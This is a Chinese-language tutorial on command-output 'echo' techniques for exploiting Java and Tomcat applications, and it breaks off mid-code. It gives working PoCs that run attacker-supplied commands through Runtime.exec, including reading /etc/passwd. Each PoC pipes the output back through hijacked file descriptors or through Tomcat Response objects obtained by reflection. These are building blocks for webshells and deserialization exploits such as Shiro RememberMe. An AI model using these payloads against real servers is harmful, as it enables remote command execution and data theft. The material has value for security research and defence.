Java 回显技术

通过文件描述符回显

分析

在Linux环境下,可以通过文件描述符 /proc/self/fd/i 获取到网络连接,在Java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。简单来讲就是利用Linux文件描述符实现漏洞回显。

从理论上讲如果获取到了当前请求对应进程的文件描述符,如果输出描述符中写入内容,那么就会在回显中显示,从原理上是可行的,但在这个过程中主要有一个问题需要解决:如何获得本次请求的文件描述符

解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来,从而筛选出对应的请求信息。那么这个特殊的标识应该就是,客户端的访问ip地址了。

在 /proc/net/tcp6文件中存储了大量的连接请求

其中local_address是服务端的地址和连接端口,remote_address是远程机器的地址和端口(客户端也在此记录),因此我们可以通过remote_address字段筛选出需要的inode号。这里的inode号会在 /proc/xx/fd/ 中的socket一一对应

有了这个对应关系,我们就可以在 /proc/xx/fd/ 目录中筛选出对应inode号的socket,从而获取了文件描述符。整体思路如下

  1. 通过client ip在 /proc/net/tcp6文件中筛选出对应的inode号(也有可能是 /proc/net/tcp文件)
  2. 通过inode号在/proc/self/fd/中筛选出fd号
  3. 创建FileDescriptor对象
  4. 执行命令并向FileDescriptor对象输出命令执行结果

实现

  • 先实现一个将IP转换为16进制的**ipToHex**方法,因为 /proc/net/tcp6 中的IP是16进制的
   public String ipToHex(String ip) {
       StringBuilder sb = new StringBuilder();
       String[] data = ip.split("\\.");
       int temp;
       for (int i = 0; i < 4; i++) {
           temp = Integer.parseInt(data[i]);
           sb.insert(0, String.format("%02x", temp).toUpperCase());
      }
       return sb.toString();
  }
  • 然后在实现一个命令执行获取输出的**exec**方法
public String exec(String cmd) {
    try {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream fis = process.getInputStream();
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        StringBuilder builder = new StringBuilder();
        while ((line = br.readLine()) != null) {
            builder.append(line);
        }
        return builder.toString();
    } catch (Exception ignore) {
    }
    return "";
}
  • 获得本次请求的文件描述符并把命令执行的结果写入
String hex = ipToHex("127.0.0.1");
String cmd = "cat /etc/passwd";
String result = exec(cmd);
String inode = exec(String.format("cat /proc/net/tcp6 | awk '$3 ~/%s/{print $10}'", hex));
for (String i : inode.split("\n")) {
   try {
       String res2 = exec(String.format("ls -al /proc/*/fd | awk '$11 ~/%s/{print $9}'", i));
       int num = Integer.parseInt(res2.replaceAll("\\s", ""));
       FileDescriptor fd = new FileDescriptor();
       Field field = fd.getClass().getDeclaredField("fd");
       field.setAccessible(true);
       field.set(fd, num);
       FileOutputStream fout = new FileOutputStream(fd);
       fout.write(result.getBytes(StandardCharsets.UTF_8));
  } catch (Exception ignore) {
  }
}
  • PoC
import java.io.*;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;

public class fdEcho {
    public static String exec(String cmd) {
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream fis = process.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            StringBuilder builder = new StringBuilder();
            while ((line = br.readLine()) != null) {
                builder.append(line);
            }
            return builder.toString();
        } catch (Exception ignore) {
        }
        return "";
    }

    public static String ipToHex(String ip) {
        StringBuilder sb = new StringBuilder();
        String[] data = ip.split("\\.");
        int temp;
        for (int i = 0; i < 4; i++) {
            temp = Integer.parseInt(data[i]);
            sb.insert(0, String.format("%02x", temp).toUpperCase());
        }
        return sb.toString();
    }

    static {
        try {
            String hex = ipToHex("127.0.0.1");
            String cmd = "cat /etc/passwd";
            String result = exec(cmd);
            String inode = exec(String.format("cat /proc/net/tcp6 | awk '$3 ~/%s/{print $10}'", hex));
            for (String i : inode.split("\n")) {
                String res2 = exec(String.format("ls -al /proc/*/fd | awk '$11 ~/%s/{print $9}'", i));
                int num = Integer.parseInt(res2.replaceAll("\\s", ""));
                FileDescriptor fd = new FileDescriptor();
                Field field = fd.getClass().getDeclaredField("fd");
                field.setAccessible(true);
                field.set(fd, num);
                FileOutputStream fout = new FileOutputStream(fd);
                fout.write(result.getBytes(StandardCharsets.UTF_8));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

不足

在WEB服务部署的时候,如果有nginx反代,则在tcp连接获取到的IP地址只有nginx服务器的IP地址,无法通过IP地址进行筛选。如果不考虑对其他TCP连接的影响可以不使用IP地址筛选文件描述符,将命令执行的结果输出到每一个TCP连接,但要确保获取到的文件描述符对应的是TCP连接。

通过ThreadLocal Response回显

思路

在Java代码执行的时候如果能获取到response对象,则可以直接向response对象中写入命令执行的结果实现回显。因此这里的目的就是寻找一个能够利用的response对象,思路如下:

  1. 通过翻阅函数调用栈寻找存储response的类
  2. 最好是个静态变量,这样不需要获取对应的实例,毕竟获取对象还是挺麻烦的
  3. 使用ThreadLocal保存的变量,在获取的时候更加方便,不会有什么错误
  4. 修复原有输出,通过分析源码找到问题所在

分析

寻找并获取response

首先是确定当前我们取到的一个response对象是tomcat的response,我们顺着堆栈一直往回找。

找到HTTP请求的入口那里发现request和response几乎就是一路传递的,并且在内存中都是同一个变量(变量toString最后的数字就是当前变量的部分哈希)

这样,就没有问题,只要我们能获取到这些堆栈中,任何一个类的response实例即可。

按照上述的思路找到了保存在ApplicationFilterChain对象中的静态且是ThreadLocal保存的的Response类型属性lastServicedResponse

但是这里的静态代码块在初始化的时候已经把lastServicedResponse的值设置为null,然后后面在internalDoFilter方法里面还有一个将当前的resquest和response对象赋值给lastServicedRequest和lastServicedResponse对象的操作,但是还是需要ApplicationDispatcher.WRAP_SAME_OBJECT 的值为true。

因此这里有需要进行两个操作:

  • 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值为ture,让代码逻辑走到if条件里面
  • 初始化lastServicedRequest和lastServicedResponse两个变量为ThreadLocal类型(静态代码在初始化时默认为null)

getWriter重复使用报错

在使用response的getWriter函数时,usingWriter 变量就会被设置为true。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错

报错内容如下,getWriter已经被调用过一次

java.lang.IllegalStateException: getWriter() has already been called for this response

这时候有两种解决办法:

  • 在调用完一次getWriter反射修改usingWriter的值为false
  • 使用getOutputStream代替

小结

总体原理为:通过反射修改控制变量,来改变Tomcat处理请求时的流程,使得Tomcat处理请求时便将request, response对象存入ThreadLocal中,最后在反序列化的时候便可以利用ThreadLocal来取出response

具体实施步骤为:

  1. 使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
  2. 使用反射初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal
  3. 使用反射从lastServicedResponse变量中获取tomcat response变量
  4. 使用反射将usingWriter属性修改为false修复输出报错

实现

  • ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true

通过上面的需求,编写对应的代码进行实现,需要提前说明的是WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse为static final变量,而且后两者为私有变量,因此需要modifiersField的处理将final属性取消掉。

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//将变量设置为true
  • 初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal

这里需要把lastServicedResponse和lastServiceRequest都进行设置,因为如果这两个其中之一的变量为初始化就会在set的地方报错。

Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");//获取lastServicedRequest变量
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//获取lastServicedResponse变量
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
lastServicedRequestField.setAccessible(true);//将变量设置为可访问
lastServicedResponseField.setAccessible(true);//将变量设置为可访问
lastServicedRequestField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
lastServicedResponseField.set(null, new ThreadLocal<>());//设置ThreadLocal对象

这里仅仅实现了如何初始化lastServicedRequest和lastServicedResponse这两个变量为ThreadLocal。在实际实现过程中需要添加判断,如果lastServicedRequest存储的值不是null那么就不要进行初始化操作。

  • 从lastServicedResponse变量中获取tomcat response变量

从上面代码中的lastServicedResponseField直接获取lastServicedResponse变量,因为这时的lastServicedResponse变量为ThreadLocal变量,可以直接通过get方法获取其中存储的变量。

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //获取lastServicedResponse变量
ServletResponse responseFacade = lastServicedResponse.get();//获取lastServicedResponse中存储的变量
  • 修复输出报错

可以在调用getWriter函数之后,通过反射修改usingWriter变量值。

Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//将变量设置为可访问
Response response = (Response) responseField.get(responseFacade);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//将变量设置为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false
  • PoC
package com.example.tomcatecho.controller;


import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;


import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;

@Controller
public class IndexController {

    @RequestMapping("/index")
    @ResponseBody
    public String IndexController(String cmd) throws IOException {
        try {
            // ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
            Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
            modifiersField.setAccessible(true);//将变量设置为可访问
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);//将变量设置为可访问
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//将变量设置为true

            // 用反射设置ApplicationDispathcer中的lastServicedResponse变量为修改访问
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");//获取lastServicedRequest变量
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//获取lastServicedResponse变量
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
            lastServicedRequestField.setAccessible(true);//将变量设置为可访问
            lastServicedResponseField.setAccessible(true);//将变量设置为可访问
            
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //获取lastServicedResponse变量

            // 如果此时 lastServicedResponse 对象为null,则进行初始化为ThreadLocal对象
            if (lastServicedResponse == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
                lastServicedResponseField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
            } else if (cmd != null) {
                // 否则则获取lastServicedResponse中的response对象,并执行命令将执行结果输入到response中
                ServletResponse responseFacade = lastServicedResponse.get();    //获取lastServicedResponse中存储的变量
                
                String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

                // 方法一:使用 outputStream.write() 方法输出
                // responseFacade.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
                // responseFacade.flushBuffer();

                // 方法二:使用 writer.writeA() 方法输出
                PrintWriter writer = responseFacade.getWriter();    // 获取writer对象
                
                Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
                responseField.setAccessible(true);//将变量设置为可访问
                Response response = (Response) responseField.get(responseFacade);//获取变量
                Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
                usingWriter.setAccessible(true);//将变量设置为可访问
                usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false

                writer.write(res);
                writer.flush();
            }
        }catch (Exception e) {
            e.printStackTrace();
        }

        return "test";

    }
}

需要访问2次,第一次为设置ApplicationDispathcer.WRAP_SAME_OBJECT变量为true以及为lastServicedResponse对象进行初始化为ThreadLocal对象;第二次才是从lastServicedResponse对象中取出response对象进行操作。

不足

通过完整的学习这个回显方式,可以很明显的发现这个弊端,如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。

其中Shiro RememberMe反序列化漏洞就遇到了这种情况,shiro的rememberMe功能,其实是shiro自己实现的一个filter。

在org.apache.catalina.core.ApplicationFilterChain的internalDoFilter方法中

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
        ...
         filter.doFilter(request, response, this);//Shiro漏洞触发点
    } catch (...)
        ...
    }
}
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);//Tomcat回显关键点
    }
    if (...){
        ...
    } else {
        servlet.service(request, response);//servlet调用点
    }
} catch (...) {
    ...
} finally {
    ...
}

可以看到是先取出所有的的filter对当前请求进行拦截,通过之后,再进行cache request(即lastServicedResponse.set(response)方法),再从servlet.service(request, response) 进入servlet调用的逻辑代码。

rememberMe功能就是ShiroFilter的一个模块,这样的话在这部分逻辑中执行的代码,还没进入到cache request的操作中,此时的cache内容就是空,从而也就获取不到我们想要的response。

通过全局存储 Response回显

上面通过ThreadLocal获取response的方式实际上是通过反射修改属性改变了Tomcat处理的部分流程,使得最终可以在ApplicationFilterChain类的lastServicedResponseField对象中去取到response对象。但是不足也说了,这种方式实际上依赖Tomcat本身的一些代码处理流程,在遇到注入点在流程之前就无法利用了。

而现在这种方法是不再寻求改变代码流程,而是找找有没有Tomcat全局存储的request或response

分析

寻找全局的Response

我们之前在分析Servlet内存马的时候大致了解过Tomcat处理HTTP请求的时候流程入口在org.apache.coyote.http11.Http11Processor类中,该类继承了AbstractProcessor。

到AbstractProcessor类中看一下:

可以看到Request以及Response就是AbstractProcessor的属性。而且这两个属性都是final类型的,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response

但是这里的resquest和response并不是静态变量,无法直接从类里面去取出来,需要从对象里面取。这时候我们就需要去找存储Http11Processor或者Http11Processor request、response的变量。所以继续往上翻,在AbstractProtcol内部类ConnectionHandler的register方法中存在着对Http11Processor的操作

跟进register方法中,可以看到rp为从Http11Processor对象中取到的RequestInfo对象,其中包含了request对象,然而request对象包含了response对象

获取完RequestInfo对象后调用了rp.setGlobalProcessor(global)方法,跟进:

可以看到这里把RequestInfo对象注册到了global中,这个global是AbstractProtcol内部类ConnectionHandler的一个属性

因此如果获取到了global对象就可以取到里面的response对象了。现在的获取链变为了

AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

但global对象还不是静态变量,因此我们还是需要找存储AbstractProtocol类或AbstractProtocol子类。

在调用栈中存在CoyoteAdapter类,其中的connector对象protocolHandler属性为Http11NioProtocol,Http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler。

connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global-->RequestInfo --> req --> response

如何获取connector对象就成为了问题所在,Tomcat启动过程中会创建connector对象,并通过addConnector方法存放在connectors中

跟进addConnector方法,可以看到到了StandardService类里面

从方法注释中可以看到,addConnector方法的操作为将传进来的connector对象放到StandardService对象的connectors[] 数组中

那么现在的获取链变成了

StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象,而不是新创建的对象。

关键步骤

如何获取

如何获取当前的StandardService对象呢?这时候回顾Tomcat的架构

发现Service已经是最外层的对象了,再往外就涉及到了Tomcat类加载机制。Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

在SpringBoot项目中调试看下Thread.currentThread().getContextClassLoader() 中的内容

WebappClassLoader里面确实包含了很多很多关于tomcat相关的变量,其中service变量就是要找的StandardService对象。那么至此整个调用链就有了入口点

WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

因为这个调用链中一些变量有get方法因此可以通过get函数很方便的执行调用链,对于那些私有保护属性的变量我们只能采用反射的方式动态的获取。

实现

  • 获取Tomcat ClassLoader context

这里针对不同的Tomcat版本获取的方式不同,Tomcat 8或9的低版本(这里我用的是8.5.21)可以直接从webappClassLoaderBase.getResources().getContext() 获取:

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

但是在高版本的话webappClassLoaderBase.getResources() 返回的是null,无法获取(解决方案看后文)

  • 获取standardContext的context

因为context不是final变量,因此可以省去一些反射修改操作

Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);//将变量设置为可访问
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
  • 获取ApplicationContext的service
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);//将变量设置为可访问
StandardService standardService = (StandardService)service.get(ApplicationContext);
  • 获取StandardService的connectors
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);//将变量设置为可访问
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField.get(standardService);
  • 获取AbstractProtocol的handler

获取到connectors之后,可以通过函数发现getProtocolHandler为public,因此我们可以通直接调用该方法的方式获取到对应的handler。

org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
  • 获取内部类ConnectionHandler的global

通过org.apache.coyote.AbstractProtocol$ConnectionHandler的命名方式,直接使用反射获取该内部类对应字段。

Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
  • 获取RequestGroupInfo的processors

processors为List数组,其中存放的是RequestInfo

Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);
  • 获取Response,并做输出处理

遍历获取RequestInfolist中的所有requestInfo,使用反射获取每个requestInfo中的req变量,从而获取对应的response。后续就和之前一样可以通过Response.getOutputStream().write()输出;或者在getWriter后将usingWriter置为false,并调用flush进行输出。

Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
    org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo);//获取request
    org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
    org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
    
    // 从connectorRequest 中获取参数并执行
    String cmd = connectorRequest.getParameter("cmd");
    String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
    
    // 方法一
    // connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
    // connectorResponse.flushBuffer();
    
    // 方法二
    java.io.Writer w = response.getWriter();//获取Writer
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
    w.write(res);
    w.flush();//刷新
}
  • PoC
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;


import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;


@WebServlet("/testServlet")
public class Test extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        try {
            // 获取Tomcat ClassLoader context
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            // 获取standardContext的context
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);//将变量设置为可访问
            org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) context.get(standardContext);

            // 获取ApplicationContext的service
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);//将变量设置为可访问
            StandardService standardService = (StandardService) service.get(ApplicationContext);

            // 获取StandardService的connectors
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);//将变量设置为可访问
            org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService);

            // 获取AbstractProtocol的handler
            org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
            Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handlerField.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

            // 获取内部类ConnectionHandler的global
            Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalField.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

            // 获取RequestGroupInfo的processors
            Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processors.setAccessible(true);
            java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);

            // 获取Response,并做输出处理
            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            reqField.setAccessible(true);
            for (RequestInfo requestInfo : RequestInfolist) {//遍历
                org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo);//获取request
                org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
                org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
                java.io.Writer w = response.getWriter();//获取Writer
                Field responseField = ResponseFacade.class.getDeclaredField("response");
                responseField.setAccessible(true);
                Field usingWriter = Response.class.getDeclaredField("usingWriter");
                usingWriter.setAccessible(true);
                usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
                w.write("1111");
                w.flush();//刷新
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

Tomcat版本问题

刚才在一开始获取Tomcat ClassLoader context提到这种方式只适用于Tomcat 8和9的低版本中,那么有没有一种能通杀所有版本的方法呢?

回顾整条调用链:

WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardContext到StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocolConnectoinHandler,因为 request 存在该对象的 global 属性中的 processors 中,那么我们其实接下来目的就是为了找到一个地方存储这 AbstractProtocolConnectoinHandler。

发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpointHandler 定义的,同时 Handler 的实现类是 AbstractProtocolConnectoinHandler。

因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

这里我们来看到 NioEndpoint 类。NioEndpoint 是主要负责接受和处理 socket 的且其中实现了socket请求监听线程Acceptorsocket NIO poller线程、以及请求处理线程池。

此时有一下两种方法从Thread.currentThread().getThreadGroup() 获取的线程中遍历找出我们需要的NioEndpoint 对象。

通过Acceptor获取NioEndpoint

遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象。

利用链:

Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> endpoint --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

通过poller获取NioEndpoint

遍历线程,获取线程中的target属性,如果target属性是 NioEndpointPoller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocolConnectoinHandler。

利用链:

Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

实现

上面两种方法都大同小异,以第一种为例。

  • 获取threads数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField =  ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);
  • 遍历每一个thread获取其target属性
 for(Thread thread:threads) {
    Field targetField = Thread.class.getDeclaredField("target");
    targetField.setAccessible(true);
    Object target  = targetField.get(thread);
  • 找到Acceptor获取其endpoint属性
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
    Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
    endpointField.setAccessible(true);
    Object endpoint = endpointField.get(target);

这里如果是第二种方法就是找NioEndpoint$Poller对象,获取其this$0 属性

  • 获取AbstractEndpoint的handler属性
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

此时的handler就是AbstractProtocol$ConnectoinHandler对象了,后续和之前一样

  • PoC
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

import java.util.Scanner;


@WebServlet("/testServlet")
public class Test extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        try {
            // 获取thread数组
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsField =  ThreadGroup.class.getDeclaredField("threads");
            threadsField.setAccessible(true);
            Thread[] threads = (Thread[])threadsField.get(threadGroup);

            for(Thread thread:threads) {
                Field targetField = Thread.class.getDeclaredField("target");
                targetField.setAccessible(true);
                Object target  = targetField.get(thread);
                if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
                    Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
                    endpointField.setAccessible(true);
                    Object endpoint = endpointField.get(target);
                    Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
                    handlerField.setAccessible(true);
                    Object handler = handlerField.get(endpoint);

                    // 获取内部类ConnectionHandler的global
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

